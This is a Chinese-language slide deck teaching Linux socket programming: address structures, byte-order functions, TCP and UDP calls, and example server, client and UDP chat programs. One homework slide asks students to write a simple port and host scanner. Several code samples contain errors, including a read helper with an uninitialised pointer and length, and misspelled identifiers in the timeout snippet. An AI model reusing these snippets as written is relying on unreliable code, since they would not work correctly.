• 1. Linux套接字网络编程接口
  • 2. (本页无文本内容)
  • 3. Linux套接字网络编程接口网络编程接口的产生与发展 套接字基础 面向连接的传输层套接字编程 无连接的套接字编程 高级套接字函数 服务器的I/O模型 网络层的原始套接字 面向数据链路层的套接字
  • 4. 网络编程接口 产生与发展
  • 5. 网络编程接口的产生与发展问题的提出 站在应用程序实现的角度,应用程序如何方便地使用协议栈软件进行通信呢? 如果能在应用程序与协议栈软件之间提供一个软件接口,就可以方便客户与服务器软件的编程。
  • 6. 网络编程接口的产生与发展套接字编程接口 套接字应用程序编程接口是网络应用程序通过网络协议栈进行通信时所使用的接口,即应用程序与协议栈软件之间的接口,简称套接字编程接口(Socket API)。 它定义了应用程序与协议栈软件进行交互时可以使用的一组操作,决定了应用程序使用协议栈的方式、应用程序所能实现的功能、以及开发具有这些功能的程序的难度。
  • 7. 网络编程接口的产生与发展Socket 的历史 在80 年代早期,远景研究规划局(Advanced Research Projects Agency, ARPA)资助了佳利福尼亚大学伯克利分校的一个研究组,让他们将TCP/IP 软件移植到UNIX 操作系统中,并将结果提供给其他网点。 作为项目的一部分,设计者们创建了一个接口,应用进程使用这个接口可以方便的进行通信。他们决定,只要有可能就使用以有的系统调用,对那些不能方便的容入已有的函数集的情况,就再增加新的系统调用以支持TCP/IP 功能。 这样做的结果就出现了插口接口(Berkeley Socket),这个系统被称为Berkeley UNIX或BSD UNIX。(TCP/IP 首次出现在BSD 4.1 版本release 4.1 of Berkeley SoftwareDistribution)。 由许多计算机厂商,都采用了Berkeley UNIX,于是许多机器上都可以使用Socket 了。这样,Socket 接口就被广泛使用,到现在已经成为事实上的标准。
  • 8. 网络编程接口的产生与发展要想实现套接字编程接口,可以采用两种实现方式: 一种是在操作系统的内核中增加相应的软件来实现, 一种是通过开发操作系统之外的函数库来实现。
  • 9. 网络编程接口的产生与发展Linux系统是通过提供套接字(socket)来进行网络编程的. Socket技术提供了在TCP/IP模型各个层上的编程支持。 该技术是在内核处理收到的各层协议数据,然后应用程序以文件的方式接受内核传来的数据。 应用程序的文件处理是通过一个文件句柄来进行的。
  • 10. 网络编程接口的产生与发展网络程序通过socket和其它几个函数的调用,会返回一个 通讯的文件描述符, 我们可以将这个描述符看成普通的文件的描述符来操作, 这就是linux的设备无关性的好处.我们可以通过向描述符读写操作实现网络之间的数据交流.
  • 11. 套接字基础
  • 12. 套接字基础什么是套接字(SOCKET) 套接口是对网络中不同主机上应用进程之间进行双向通信的端点的抽象,一个套接口就是网络上进程通信的一端,提供了应用层进程利用网络协议栈交换数据的机制。
  • 13. 套接字基础Socket 的功能 Socket 的英文原意就是“孔”或“插座”,将电话系统与面向连接的Socket 机制相比,有着惊人相似的地方。以一个国家级的电话网为例。 电话的通话双方相当于相互通信的两个进程;通话双方所在的地区(享有一个全局唯一的区号)相当于一个网络,区号是它的网络地址;区内的一个单位的交换机相当于一台主机,主机分配给每个用户的局内号码相当于Socket 号. 任何用户在通话之前,首先要占有一部电话机,相当于申请一个Socket 号;同时要知道对方的电话号码,相当于对方有一个Socket。 然后向对方拨号呼叫,相当于发出连接请求(假如对方不在同一区内,还要拨对方区号,相当于给出网络地址)。对方假如在场并空闲(相当于通信的另一主机开机且可以接受连接请求),拿起电话话筒,双方就可以正式通话,相当于连接成功。 双方通话的过程,是向电话机发出信号和从电话机接受信号的过程,相当于向Socket 发送数据和从Socket 接受数据。通话结束后,一方挂起电话机,相当于关闭Socket,撤消连接。
  • 14. 套接字基础我们应当从多个层面来理解套接字这个概念的内涵。 从套接字所处的地位来讲,套接字上联应用进程,下联网络协议栈,是应用程序通过网络协议栈进行通信的接口,是应用程序与网络协议栈进行交互的接口。
  • 15. 套接字基础从实现的角度来讲,非常复杂。 套接字是一个复杂的软件机构,包含了一定的数据结构,包含许多选项,由操作系统内核管理。 从使用的角度来讲,非常简单。 对于套接字的操作形成了一种网络应用程序的编程接口(API)。 本书把这一套操作套接字的编程接口函数称作套接字编程接口,套接字是它的操作对象。 总之,套接字是网络通信的基石。
  • 16. 套接字基础常用的socket: 流式套接字: 它提供基于TCP协议的双向、可靠、有序且不重复的无记录边界的数据流。 数据报套接字: 它提供基于UDP协议的双向数据流,但不一定可靠、有序和不重复。 原始套接字: 它提供网络下层通信协议的直接访问。一般用于开发新的网络层协议,如新的IP协议等。
  • 17. 套接字基础
  • 18. 套接字基础
  • 19. 套接字使用的数据类型和相关的问题1.三种表示套接字地址的结构 在套接字编程接口中,专门定义了三种结构型的数据类型,用来存储协议相关的网络地址,在套接字编程接口的函数调用中要用到它们。
  • 20. 套接字基础(1).struct sockaddr 这个结构用来存储套接字地址。 数据定义: struct sockaddr { unsigned short sa_family; /* address族, AF_xxx */ char sa_data[14]; /* 14 bytes的协议地址*/ }; sa_family 一般来说,都是“AF_INET”。 sa_data 包含了一些远程电脑的地址、端口和套接字的数目,它里面的数据是杂溶在一切的。
  • 21. 套接字基础(2). struct sockaddr_in 为了处理struct sockaddr, 程序员建立了另外一个相似的结构struct sockaddr_in: struct sockaddr_in (“in” 代表“Internet”) struct sockaddr_in { short int sin_family; /* Internet地址族*/ unsigned short int sin_port; /* 端口号*/ struct in_addr sin_addr; /* Internet地址*/ unsigned char sin_zero[8]; /* 添0(和struct sockaddr一样大小)*/ }; 这个结构提供了方便的手段来访问socket address(struct sockaddr)结构中的每一个元素。
  • 22. 套接字基础(3).struct in_addr 专门用来存储 IP地址,其定义如下: /* 因特网地址(a structure for historical reasons) */ struct in_addr { unsigned long s_addr; }; 如果你声明了一个“ ina ” 作为一个struct sockaddr_in 的结构, 那么“ina.sin_addr.s_addr”就是4 个字节的IP 地址(按网络字节顺序排放)。 需要注意的是,即使你的系统仍然使用联合而不是结构来表示struct in_addr,你仍然可以用上面的方法得到4 个字节的IP 地址.
  • 23. 套接字基础(4).这些数据结构的一般用法: 首先,定义一个Sockaddr_in的结构实例,并将它清零。比如: struct sockaddr_in myad; memset(&myad,0,sizeof(struct sockaddr_in)); 然后,为这个结构赋值,比如: myad.sin_family=AF_INET; myad.sin_port=htons(8080); myad.sin_addr.s_addr=htonl(INADDR-ANY); 第三步:在函数调用中使用时,将这个结构强制转换为sockaddr类型。如: accept(listenfd,(sockaddr*)(&myad),&addrlen);
  • 24. 套接字使用的数据类型和相关的问题2.本机字节顺序和网络字节顺序 在具体计算机中的多字节数据的存储顺序,称为本机字节顺序。多字节数据在网络协议报头中的存储顺序,称为网络字节顺序。 在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如i386芯片是低字节在内存地址的低端,高字节在高端,而alpha芯片却相反. 为了统一起来,在Linux下面,有专门的字节转换函数. unsigned long int htonl(unsigned long int hostlong) unsigned short int htons(unisgned short int hostshort) unsigned long int ntohl(unsigned long int netlong) unsigned short int ntohs(unsigned short int netshort) 在这四个转换函数中,h 代表host, n 代表 network.s 代表short l 代表long 第一个函数的意义是将本机器上的long数据转化为网络上的long. 其他几个函数的意义也差不多.
  • 25. 套接字使用的数据类型和相关的问题3.点分十进制的IP地址的转换 (1) inet_aton 将strptr所指的字符串转换成32位的网络字节序二进制值。 #include int inet_aton(const char *strptr,struct in_addr *addrptr); (2) inet_addr 功能同上,返回地址。 int_addr_t inet_addr(const char *strptr); (3) inet_ntoa 将32位网络字节序二进制地址转换成点分十进制的串。 char *inet_ntoa(stuct in_addr inaddr);
  • 26. 套接字使用的数据类型和相关的问题4.域名服务 在网络上标志一台机器可以用IP或者是用域名.那么我们怎么去进行转换呢?  struct hostent *gethostbyname(const char *hostname) 可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里面储存了域名的信息   struct hostent *gethostbyaddr(const char *addr,int len,int type) 可以将一个32位的IP地址(C0A80001)转换为结构指针.  这两个函数失败时返回NULL 且设置h_errno错误变量,调用h_strerror()可以得到详细的出错信息  struct hostent的定义:  struct hostent{         char *h_name;           /* 主机的正式名称  */         char *h_aliases;        /* 主机的别名 */         int   h_addrtype;       /* 主机的地址类型  AF_INET*/         int   h_length;         /* 主机的地址长度  对于IP4 是4字节32位*/         char **h_addr_list;     /* 主机的IP地址列表 */         }   #define h_addr h_addr_list[0]  /* 主机的第一个IP地址*/
  • 27. 面向连接的传输层套接字编程
  • 28. 面向连接的传输层套接字编程套接字的工作过程 初等网络函数 完整的读写函数 面向连接的传输层套接字举例 进程控制
  • 29. 套接字的工作过程
  • 30. 初等网络函数1 socket #include int socket(int domain, int type,int protocol) socket为网络通讯做基本的准备.成功时返回文件描述符,失败时返回-1。 通过errno可知道出错的详细情况.
  • 31. 初等网络函数参数说明: domain:说明我们网络程序所在的主机采用的通讯协族(AF_UNIX和AF_INET等)。 AF_UNIX只能够用于单一的Unix系统进程间通信,而AF_INET是针对Internet的,因而可以允许在远程主机之间通信 当我们 man socket时发现 domain可选项是 PF_*而不是AF_*,因为glibc是posix的实现 所以用PF代替了AF,不过我们都可以使用的.
  • 32. 初等网络函数type:我们网络程序所采用的通讯协议。 SOCK_STREAM表明我们用的是TCP协议,这样会提供按顺序的,可靠,双向,面向连接的比特流. SOCK_DGRAM 表明我们用的是UDP协议,这样只会提供定长的,不可靠,无连接的通信。 SOCK_RAW 原始套接字,用来直接访问IP协议。 protocol:由于我们指定了type,所以这个地方我们一般只要用0来代替就可以了。
  • 33. 初等网络函数2 bind int bind(int sockfd, struct sockaddr *my_addr, int addrlen) bind将本地的端口同socket返回的文件描述符捆绑在一起. 成功是返回0,失败的情况和socket一样。
  • 34. 初等网络函数参数说明 sockfd:是由socket调用返回的文件描述符. addrlen:是sockaddr结构的长度. my_addr:是一个指向sockaddr的指针.
  • 35. 初等网络函数构造套接字地址举例: int listenfd; struct sockaddr_in server_addr; listenfd=socket(AF_INET,SOCK_STREAM,0); bzero(&server_addr,sizeof(server_addr)); server_addr.sin_family=AF_INET; server_addr.sin_port=htons(80); inet_pton(AF_INET, “211.83.241.244”, & server_addr.sin_addr); bind(listenfd,& server_addr,sizeof(struct sockaddr_in))
  • 36. 初等网络函数3 listen int listen(int sockfd,int backlog) listen函数将bind的文件描述符变为监听套接字。 返回的情况和bind一样。
  • 37. 初等网络函数参数说明 sockfd:是bind后的文件描述符.。 backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示可以介绍的排队长度。
  • 38. 初等网络函数4 accept int accept(int sockfd, struct sockaddr *addr,int *addrlen) accept成功时返回最后的服务器端的文件描述符,这个时候服务器端可以向该描述符写信息了。 失败时返回-1 。
  • 39. 初等网络函数参数说明 sockfd:是listen后的文件描述符.。 addr,addrlen是用来给客户端的程序填写的,服务器端只要传递指针就可以了.。 bind,listen和accept是服务器端用的函数,accept调用时,服务器端的程序会一直阻塞到有一个 客户程序发出了连接, accept成功时返回最后的服务器端的文件描述符。
  • 40. 初等网络函数5 connect int connect(int sockfd, struct sockaddr * serv_addr,int addrlen) connect函数是客户端用来同服务端连接的。 成功时返回0,sockfd是同服务端通讯的文件描述符 。 失败时返回-1。
  • 41. 初等网络函数参数说明 sockfd:socket返回的文件描述符. serv_addr:储存了服务器端的连接信息.其中sin_add是服务端的地址 addrlen:serv_addr的长度
  • 42. 面向连接的传输层套接字课后思考题 编写简单的扫描器 端口扫描可以扫描一定范围内的端口; IP扫描可以扫描一定范围内的主机。 提示: 向一个套接字发起连接,成功则可以将其输出。
  • 43. 完整的读写函数一旦我们建立了连接,我们的下一步就是进行通信了. 在Linux下面把我们前面建立的通道 看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了. 就象我们往文件读写一样。
  • 44. 完整的读写函数1 写函数write ssize_t write(int fd,const void *buf,size_t nbytes) write函数将buf中的nbytes字节内容写入文件描述符fd. 成功时返回写的字节数.失败时返回-1. 并设置errno变量.
  • 45. 完整的读写函数在网络程序中,当我们向套接字文件描述符写时有俩种可能. 1)write的返回值大于0,表示写了部分或者是全部的数据. 2)返回的值小于0,此时出现了错误.我们要根据错误类型来处理. 如果错误为EINTR表示在写的时候出现了中断错误. 如果为EPIPE表示网络连接出现了问题(对方已经关闭了连接).
  • 46. 完整的读写函数为了处理以上的情况,我们自己编写一个写函数来处理这几种情况. int my_write(int fd,void *buffer,int length) { int bytes_left; int written_bytes; char *ptr; ptr=buffer; bytes_left=length; while(bytes_left>0) { /* 开始写*/ written_bytes=write(fd,ptr,bytes_left); if(written_bytes<=0) /* 出错了*/ { if(errno==EINTR) /* 中断错误 我们继续写*/ written_bytes=0; else /* 其他错误 没有办法,只好撤退了*/ return(-1); } bytes_left-=written_bytes; ptr+=written_bytes; /* 从剩下的地方继续写 */ } return(0); }
  • 47. 完整的读写函数2 读函数read ssize_t read(int fd,void *buf,size_t nbyte) read函数是负责从fd中读取内容. 当读成功时,read返回实际所读的字节数,如果返回的值是0 表示已经读到文件的结束了,小于0表示出现了错误.
  • 48. 完整的读写函数如果错误为EINTR说明读是由中断引起的, 如果是ECONNREST表示网络连接出了问题. 和上面一样,我们也写一个自己的读函数. int my_read(int fd,void *buffer,int length) { int bytes_left; int bytes_read; char *ptr; bytes_left=length; while(bytes_left>0) { bytes_read=read(fd,ptr,bytes_read); if(bytes_read<0) { if(errno==EINTR) bytes_read=0; else return(-1); } else if(bytes_read==0) break; bytes_left-=bytes_read; ptr+=bytes_read; } return(length-bytes_left); }
  • 49. 完整的读写函数3 数据的传递 有了上面的两个函数,我们就可以向客户端或者是服务端传递数据了.比如我们要传递一个结构.可以使用如下方式 : /* 客户端向服务端写 */ struct my_struct my_struct_client; write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
  • 50. 完整的读写函数/* 服务端的读*/ char buffer[sizeof(struct my_struct)]; struct *my_struct_server; read(fd,(void *)buffer,sizeof(struct my_struct)); my_struct_server=(struct my_struct *)buffer; 在网络上传递数据时我们一般都是把数据转化为char类型的数据传递.接收的时候也是一样的。 注意的是我们没有必要在网络上传递指针(因为传递指针是没有任何意义的,我们必须传递指针所指向的内容) 。
  • 51. 面向连接的传输层套接字举例服务器端程序 /******* 服务器程序 (server.c) ********/ #include #include #include #include #include #include #include #include
  • 52. 面向连接的传输层套接字举例 int main(int argc, char *argv[]) { int sockfd,new_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size,portnumber; char hello[]="Hello! Are You Fine?\n"; if(argc!=2) { fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]); exit(1); } if((portnumber=atoi(argv[1]))<0) { fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]); exit(1); }
  • 53. 面向连接的传输层套接字举例/* 服务器端开始建立socket描述符 */ if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) { fprintf(stderr,"Socket error:%s\n\a",strerror(errno)); exit(1); } /* 服务器端填充 sockaddr结构 */ bzero(&server_addr,sizeof(struct sockaddr_in)); server_addr.sin_family=AF_INET; server_addr.sin_addr.s_addr=htonl(INADDR_ANY); server_addr.sin_port=htons(portnumber);
  • 54. 面向连接的传输层套接字举例/* 捆绑sockfd描述符 */ if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1) { fprintf(stderr,"Bind error:%s\n\a",strerror(errno)); exit(1); } /* 监听sockfd描述符 */ if(listen(sockfd,5)==-1) { fprintf(stderr,"Listen error:%s\n\a",strerror(errno)); exit(1); }
  • 55. 面向连接的传输层套接字举例while(1) { /* 服务器阻塞,直到客户程序建立连接 */ sin_size=sizeof(struct sockaddr_in); if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1) { fprintf(stderr,"Accept error:%s\n\a",strerror(errno)); exit(1); } fprintf(stderr,“Server get connection from %s\n”, inet_ntoa(client_addr.sin_addr)); if(write(new_fd,hello,strlen(hello))==-1) { fprintf(stderr,“Write Error:%s\n”,strerror(errno)); exit(1); } /* 这个通讯已经结束 */ close(new_fd); /* 循环下一个 */ }
  • 56. 面向连接的传输层套接字举例 close(sockfd); exit(0); }
  • 57. 面向连接的传输层套接字举例客户端程序 /******* 客户端程序 client.c **********/ #include #include #include #include #include #include #include #include
  • 58. 面向连接的传输层套接字举例 int main(int argc, char *argv[]) { int sockfd; char buffer[1024]; struct sockaddr_in server_addr; struct hostent *host; int portnumber,nbytes; if(argc!=3) { fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]); exit(1); }
  • 59. 面向连接的传输层套接字举例 if((host=gethostbyname(argv[1]))==NULL) { fprintf(stderr,"Gethostname error\n"); exit(1); } if((portnumber=atoi(argv[2]))<0) { fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]); exit(1); }
  • 60. 面向连接的传输层套接字举例/* 客户程序开始建立 sockfd描述符 */ if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) { fprintf(stderr,"Socket Error:%s\a\n",strerror(errno)); exit(1); } /* 客户程序填充服务端的资料 */ bzero(&server_addr,sizeof(server_addr)); server_addr.sin_family=AF_INET; server_addr.sin_port=htons(portnumber); server_addr.sin_addr=*((struct in_addr *)host->h_addr);
  • 61. 面向连接的传输层套接字举例/* 客户程序发起连接请求 */ if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1) { fprintf(stderr,"Connect Error:%s\a\n",strerror(errno)); exit(1); } /* 连接成功了 */ if((nbytes=read(sockfd,buffer,1024))==-1) { fprintf(stderr,"Read Error:%s\n",strerror(errno)); exit(1); } buffer[nbytes]='\0'; printf("I have received:%s\n",buffer);
  • 62. 面向连接的传输层套接字举例/* 结束通讯 */ close(sockfd); exit(0); }
  • 63. 面向连接的传输层套接字课后思考题 面向连接的套接字实例 服务器对来访的客户机计数,并向客户机报告这个计数值; 客户机建立与服务器的一个连接并等待它的输出。
  • 64. 课后思考题 将计数服务器程序server.c进行多进程改造 从原来的循环服务器改造为并发服务器 当父进程接受来自客户机的连接,创建子进程为该客户提供读写服务。 子进程创建成功以后,父进程立即接受下一个客户的连接。 服务器可以并发为多个客户提供服务。
  • 65. 无连接的套接字编程
  • 66. 无连接的套接字编程无连接的套接字编程的两种模式 使用数据报套接字开发网络应用程序,既可以采用客户/服务器模式,也可以采用对等模式。
  • 67. 无连接的套接字编程客户/服务器模式
  • 68. UDP通信机制在服务器端 服务器先使用AF_INET协议族创建UDP数据报类型的套接字,该socket类型为SOCK_DGRAM; 然后服务器调用bind函数,给此UDP套接字绑定一个端口; 调用recvfrom函数在指定的端口上等待客户端发送来的UDP数据报。
  • 69. UDP通信机制在客户端 先通过socket函数创建一个数据报套接字; 然后由操作系统为这个套接字分配端口号; 此后客户端就可以使用sendto函数向一个指定的地址发送一个UDP套接字。 在服务器端收到套接字后,从recvfrom中返回,在对数据进行处理之后,再用sendto函数处理的结果返回客户端。
  • 70. UDP与TCP的比较UDP服务器通常是非连接的 因而UDP服务器进程不需要象TCP服务器那样在倾听套接字上接收新建的连接; UDP只需要在绑定的端口上等待客户机发送来的UDP数据报,并对其进行处理和响应。 一个TCP服务器进程只有在完成了对某客户机的服务后,才能为其他的客户机提供服务; UDP客户机并不独占服务器,UDP服务器只是接收数据报,处理并返回结果。
  • 71. UDP的应用场合UDP支持广播和多播。如果要使用广播和多播,必须使用UDP套接字。 UDP套接字没有连接的建立和终止过程。UDP只需要两个分组来交换一个请求和应答。 UDP不适合海量数据的传输。
  • 72. 无连接的传输层套接字 两个常用的函数 # include int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen) int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)
  • 73. 无连接的传输层套接字 两个常用的函数 sockfd,buf,len的意义和read,write一样,分别表示套接字描述符,发送或接收的缓冲区及大小 recvfrom负责从sockfd接收数据,如果from不是NULL,那么在from里面存储了信息来源的情况,如果对信息的来源不感兴趣,可以将from和fromlen设置为NULL. sendto负责向to发送信息.此时在to里面存储了收信息方的详细资料.
  • 74. 无连接的传输层套接字一个实例 程序编译好后,运行时需指定双方所使用的IP地址和端口号,第一个参数是对方的IP地址,然后是对方的端口号,之后是本端的IP地址和端口号。 例如在test1的终端输入: a.out 192.168.1.100 4321 192.168.1.168 5678 同时在test2上输入: a.out 192.168.1.168 5678 192.168.1.100 4321 然后双方都可以发送信息给对方了
  • 75. /*first step in udp programming*/ #include #include #include #include #define BUFLEN 255实例
  • 76. int main(int argc,char **argv) { struct sockaddr_in peeraddr,localaddr; int sockfd; char recmsg[BUFLEN+1]; int socklen,n; if(argc!=5){ printf("%s \n",argv[0]); exit(0); }实例
  • 77. sockfd=socket(AF_INET,SOCK_DGRAM,0); if(sockfd<0){ fprintf(stderr,"socket creating error in udptalk.c!\n"); exit(1); } socklen=sizeof(struct sockaddr_in); memset(&peeraddr,0,socklen); peeraddr.sin_family=AF_INET; peeraddr.sin_port=htons(atoi(argv[2])); if(inet_pton(AF_INET,argv[1],&peeraddr.sin_addr)<=0){ printf("Wrong dest IP address!\n"); exit(0); }实例
  • 78. memset(&localaddr,0,socklen); localaddr.sin_family=AF_INET; localaddr.sin_port=htons(atoi(argv[4])); if(inet_pton(AF_INET,argv[3],&localaddr.sin_addr)<=0){ printf("Wrong source IP address!\n"); exit(0); }实例
  • 79. if(bind(sockfd,&localaddr,socklen)<0){ fprintf(stderr,"bind local address error in udptalk.c!\n"); exit(2); } if(fgets(recmsg,BUFLEN,stdin)==NULL) exit(0); if(sendto(sockfd,recmsg,strlen(recmsg),0,&peeraddr,socklen)<0){ fprintf(stderr,"sendto error in udptalk.c!\n"); perror(""); exit(3); }实例
  • 80. for(;;){ n=recvfrom(sockfd,recmsg,BUFLEN,0,&peeraddr,&socklen); if(n<0){ fprintf(stderr,"recvfrom error in udptalk.c\n"); perror(""); exit(4); } else{ recmsg[n]=0; printf("peer: %s",recmsg); }实例
  • 81. if(fgets(recmsg,BUFLEN,stdin)==NULL) exit(0); if(sendto(sockfd,recmsg,strlen(recmsg),0,&peeraddr,socklen)<0){ fprintf(stderr,"sendto error in udptalk.c!\n"); perror(""); exit(3); } } }实例
  • 82. 对第一个UDP例程的思考思考: 1. 只有来自对方IP和端口号的数据报才予以处理,如何过滤掉其它数据报? 2. 双方发送和接收交替进行,只要有一方发出数据报,对方阻塞的状态就能消除。如果一个数据报丢失,通信双方都在recvfrom中阻塞,永远等待。超时机制的设置?
  • 83. 对第一个UDP例程的思考解决第一个问题: 接收数据后,加入对数据报地址的检验: if(memcmp(recvaddr,perraddr,socklen)!=0) continue; 这样就将来自其他地址的数据报拒之门外了。
  • 84. 对第一个UDP例程的思考解决第二个问题: 前面提到的sock选项SO_RCVTIMEO就可以完成阻塞超时的设置。 在程序中加入:
  • 85. # include Struct timeval recto; Int tolen=sizeof(struct timeval); …/*建立socket等操作*/ rcvto.tv_sec=3; /*这两句对rcvto定时为3秒0毫秒*/ rccvto.tv_usec=0; Setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&rcvto,tolen); getsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&rcvto,&tolen); Printf(“receive timeout setted is %ld second %ld millisecond\n”,rcvto.tv_sec,rcvto.tv_usec);解决第二个问题
  • 86. 如果显示Receive timeout setted is 3 second 0 millisecond,那么就设置成功了; 如果结果是Receive timeout setted is 0 second 0 millisecond,就意味着超时时间为无穷大。 设置了SO_RCVTIMEO,那么在发生超时后,recvfrom将返回,返回值为-1,同时errno被置为EWOULDBLOCK。解决第二个问题
  • 87. 无连接的传输层套接字UDP服务器的工作特点 UDP服务器不用将UDP套接字转化成倾听套接字,只需要绑定在端口上等待客户机发送来的UDP数据报,并对其进行处理和响应。 UDP服务器一个套接字能够同时处理多个客户的请求,这与TCP服务器有较大的区别。 (思考:为什么?)
  • 88. 无连接的传输层套接字UDP客户机的工作特点: 不用与服务器建立连接,直接调用函数sedto向服务器发送数据,在函数sendto的参数中指定服务器的地址,再调用函数recvfrom接收服务返回的数据。 可以通过调用函数recvfrom并取得其参数的rom值来获取对方的IP地址和端口号。
  • 89. 高级套接字函数
  • 90. 高级套接字函数 在前面的几个部分里面,我们已经学会了怎么样从网络上读写信息了。 前面的一些函数(read,write)是网络程序里面最基本的函数,也是最原始的通信函数。 在这一章里面,我们一起来学习网络通信的高级函数,学习另外几个读写函数。
  • 91. 高级套接字函数1、recv和send recv和send函数提供了和read和write差不多的功能。不过它们提供了第四个参数来控制读写操作。 int recv(int sockfd,void *buf,int len,int flags) int send(int sockfd,void *buf,int len,int flags) 前面的三个参数和read,write一样,第四个参数可以是0或者是以下的组合:
  • 92. 高级套接字函数MSG_DONTROUTE 不查找路由表 MSG_OOB 接受或者发送带外数据 MSG_PEEK 查看数据,并不从系统缓冲区移走数据 MSG_WAITALL 等待所有数据
  • 93. 高级套接字函数MSG_DONTROUTE: 是send函数使用的标志。 这个标志告诉IP协议,目的主机在本地网络上面,没有必要查找路由表。 这个标志一般用网络诊断和路由程序里面。 MSG_OOB: 表示可以接收和发送带外的数据。 关于带外数据我们以后会解释的。
  • 94. 高级套接字函数MSG_PEEK: 是recv函数的使用标志。 表示只是从系统缓冲区中读取内容,而不清楚系统缓冲区的内容。这样下次读的时候,仍然是一样的内容。 一般在有多个进程读写数据时可以使用这个标志。
  • 95. 高级套接字函数MSG_WAITALL: 是recv函数的使用标志。 表示等到所有的信息到达时才返回。 使用这个标志的时候recv回一直阻塞,直到指定的条件满足,或者是发生了错误。 1) 当读到了指定的字节时,函数正常返回.返回值等于len。 2) 当读到了文件的结尾时,函数正常返回,返回值小于len 。 3)当操作发生错误时,返回-1,且设置错误为相应的错误号(errno)。
  • 96. 高级套接字函数如果flags为0,则和read,write一样的操作。 还有其它的几个选项,不过我们实际上用的很少, 可以查看 Linux Programmer‘s Manual得到详细解释。
  • 97. 高级套接字函数recvmsg和sendmsg recvmsg和sendmsg可以实现前面所有的读写函数的功能。 int recvmsg(int sockfd,struct msghdr *msg,int flags) int sendmsg(int sockfd,struct msghdr *msg,int flags)
  • 98. 高级套接字函数struct msghdr { void *msg_name; int msg_namelen; struct iovec *msg_iov; int msg_iovlen; void *msg_control; int msg_controllen; int msg_flags; } struct iovec { void *iov_base; /* 缓冲区开始的地址 */ size_t iov_len; /* 缓冲区的长度 */ }
  • 99. 高级套接字函数msg_name和 msg_namelen 当套接字是非面向连接时(UDP),它们存储接收和发送方的地址信息。 msg_name实际上是一个指向struct sockaddr的指针,msg_name是结构的长度。 当套接字是面向连接时,这两个值应设为NULL。
  • 100. 高级套接字函数msg_iov和msg_iovlen 指出接受和发送的缓冲区内容。 msg_iov是一个结构指针,msg_iovlen指出这个结构数组的大小。 msg_control和msg_controllen这两个变量是用来接收和发送控制数据时的 msg_flags指定接受和发送的操作选项。(和recv,send的选项一样)
  • 101. 高级套接字函数套接字的关闭 关闭套接字有两个函数: close shutdown 用close时和我们关闭文件一样。
  • 102. 高级套接字函数shutdown int shutdown(int sockfd,int howto) TCP连接是双向的(是可读写的),当我们使用close时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们可以使用shutdown。 针对不同的howto,系统回采取不同的关闭方式。
  • 103. 高级套接字函数howto=0 这个时候系统会关闭读通道,但是可以继续往接字描述符写。 howto=1 关闭写通道,和上面相反,着时候就只可以读了。 howto=2 关闭读写通道,和close一样。 在多进程程序里面,如果有几个子进程共享一个套接字时,如果我们使用shutdown, 那么所有的子进程都不能够操作了,这个时候我们只能够使用close来关闭子进程的套接字描述符。
  • 104. 套接字属性控制系统为我们提供了获取和修改套接字结构中一些属性的函数,通过修改这些属性,我们可以调整套接字的性能,进而调整某些应用程序的性能。
  • 105. 套接字选项1 getsockopt和setsockopt int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen) int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen) level指定控制套接字的层次.可以取三种值: 1)SOL_SOCKET:通用套接字选项. 2)IPPROTO_IP:IP选项. 3)IPPROTO_TCP:TCP选项. optname指定控制的方式(选项的名称)。 optval获得或者是设置套接字选项.根据选项名称的数据类型进行转换 。
  • 106. 套接字选项选项名称 说明 数据类型 ========================= SOL_SOCKET ---------------------------------------------------------- --------------------- --------------- SO_BROADCAST 允许发送广播数据 int SO_DEBUG 允许调试 int SO_DONTROUTE 不查找路由 int SO_ERROR 获得套接字错误 int SO_KEEPALIVE 保持连接 int SO_LINGER 延迟关闭连接 struct linger SO_OOBINLINE 带外数据放入正常数据流 int SO_RCVBUF 接收缓冲区大小 int SO_SNDBUF 发送缓冲区大小 int SO_RCVLOWAT 接收缓冲区下限 int SO_SNDLOWAT 发送缓冲区下限 int SO_RCVTIMEO 接收超时 struct timeval SO_SNDTIMEO 发送超时 struct timeval SO_REUSERADDR 允许重用本地地址和端口 int SO_TYPE 获得套接字类型 int SO_BSDCOMPAT 与BSD系统兼容 int =======================================================
  • 107. 套接字选项=================================================== IPPROTO_IP -------------------------------------------------------------------------- IP_HDRINCL 在数据包中包含IP首部 int IP_OPTINOS IP首部选项 int IP_TOS 服务类型 IP_TTL 生存时间 int =================================================== IPPRO_TCP -------------------------------------------------------------------------- TCP_MAXSEG TCP最大数据段的大小 int TCP_NODELAY 不使用Nagle算法 int ===================================================
  • 108. 套接字选项2 ioctl ioctl可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项. 定义格式: #include int ioctl(int fd,long cmd,unsigned long *argp); 参数: fd是需要操作的套接字描述符;cmd是属性类别;argp是属性的参数。 详细的选项请用 man ioctl_list 查看.
  • 109. 套接字选项========================ioctl的控制选项 -------------------------------------------------------------------------- SIOCATMARK 是否到达带外标记 int FIOASYNC 异步输入/输出标志 int FIONREAD 缓冲区可读的字节数 int ===========================================
  • 110. 套接字选项3、fcntl 定义格式: # include Int fcntl(int fd,int cmd,long arg); 参数: fd是需要操作的套接字描述符;cmd是属性类别,cmd可以是如下值:
